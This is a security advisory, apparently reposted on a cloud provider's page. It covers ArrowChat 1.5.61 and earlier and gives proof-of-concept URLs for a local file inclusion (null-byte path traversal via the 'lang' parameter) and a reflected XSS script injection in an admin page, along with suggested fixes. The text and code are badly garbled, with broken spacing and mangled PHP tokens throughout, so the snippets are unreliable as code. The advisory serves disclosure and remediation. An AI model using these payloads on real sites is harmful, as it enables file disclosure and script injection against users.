ArrowChat 1.5.61 multiple defects

Source: Internet
Author: User

Title: ArrowChat <= ~ 1.5.61 Multiple vulnerabilities Author: Kallimero affected versions: 1.5.61, before, and maybe 1.6 Testing System: Debian introduction ============== ArrowChat is a chat script, which is able to be integrate in various CMS, as wordpress, or some bulletin boards. defect Analysis ========= 1-) Local File extension sion external. php let us load langage, but not a secure way. --------------- [external. php] --------------- // Load another language if lang GET value is set and existsif (var_check ('lang ') {$ lang = get_var ('lang '); if (file_exists (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") {include (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") ;}--------------- [index. php] --------------- Thanks to the nullbyte tricks we'll be able to include any php file, likethat: http://www.bkjia.com /[Path]/external. php? Lang = .. /path/to/file % 00 & type = djs 2-) reflected XSS The administration layout is accessible for anyone. even if we can't execthe php code of the admin, we can inject html thanks to $ _ SERVER ['php _ SELF '] Example: ------- [admin/layout/pages_general.php] ----- <form method = "post" action = "<? Php echo $ _ SERVER ['php _ SELF '];?>? Do = <? Phpecho $ do;?> "Enctype =" multipart/form-data "> ---------------------------------- PoC: http: // [site]/[path]/admin/layout/pages_general.php/'"/> <script> alert (1); </script> How to Fix? ============= To fix the LFI, you can replace it: // Load another language if lang GET value is set and exists if (var_check ('lang ') {$ lang = get_var ('lang '); if (preg_match ("# ^ [a-z] {2, 5} $ # I", $ lang) {if (file_exists (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") {include (dirname (_ FILE __). DIRECTORY_SEPARATOR. AC_FOLDER_LANGUAGE. DIRECTORY_SEPARATOR. $ lang. DIRECTORY_SEPARATOR. $ lang. ". php ") ;}} lang will be include only if it's a valid lang file. for the XSS's, you can use. htaccess to protect the layout directory, anduse htmlentities to avoid the html inj '.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.